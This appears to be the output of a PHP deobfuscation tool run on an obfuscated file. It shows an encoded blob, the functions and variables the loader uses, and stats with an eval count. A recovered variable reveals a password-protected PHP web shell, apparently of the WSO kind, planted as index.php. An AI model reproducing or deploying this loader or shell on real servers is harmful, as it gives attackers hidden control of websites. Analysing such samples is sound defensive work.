frilCBOlFJIpKX0hcBYPdZEmNoIxNL1iF3HIW29LcUnkdMplC3OvFjXvDer+kzSYtMajDo8IkzxLDbCIC2xiF3H9wMYvdmOldmWJNJF7eWplC2ivwtw8col2woYSCbYzNBilCBOlFj48C2aVfoaZNjxPHz48F3nidj5WFMasDbaswrclCbO1FMazwUriNt9zFoyVNjXvDeH+a2lSdtnjd21lwolVwo5lGuWIfMaZF2lvdJ48Cmw+NokZwt8+wjSYtMajDo8IwjxJFj48CmwIRz48CmwIRz48R2Opfj4JKX0hcBYPdZEmNt9LDbC+kzSYtmnZDB50OM9vfoaZhtL7eWp9eWppcJIIcB1XfuLPky9WT1YABZfik10pwtLYtMlMholzF2a0htOLcBcifBx0b2yjfolvdJLIkJcMfB5jfolvdl9lGolzfuHPk2yjfolvdJFVkoOlcMy1duOgCBY0DB9VhULYtJOgAr9TaySmCUffwe0IkoOlcMy1duOgCBY0DB9VKX0hcBxzcW0hky9WT1YABZfik10INUEmA2ajUB5MdZF7eWppcJIIwBasFuO5htOgAr9TaySmCUffhUEMkMc1dMY0DB9Vb2a4DbY0FZImCBY0DB9VkZ4Lb1nNA1Odk2rmbULIhW0hC2ySdy91F2aZb2c1dMHPk2yjfolvdJFVky9WT1YABZfik10pKX==mISIYBlnX|YZ}Mex

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 3

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O00OO00 fread
$OO00O0000 101920
$OO00O00O0 $auth_pass = "c0b2272e61213b61d2ad11e2b602de0e"; $color =..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 be2c1fa25ba5be56d078b54d5ce0547e
Eval Count 3
Decode Time 244 ms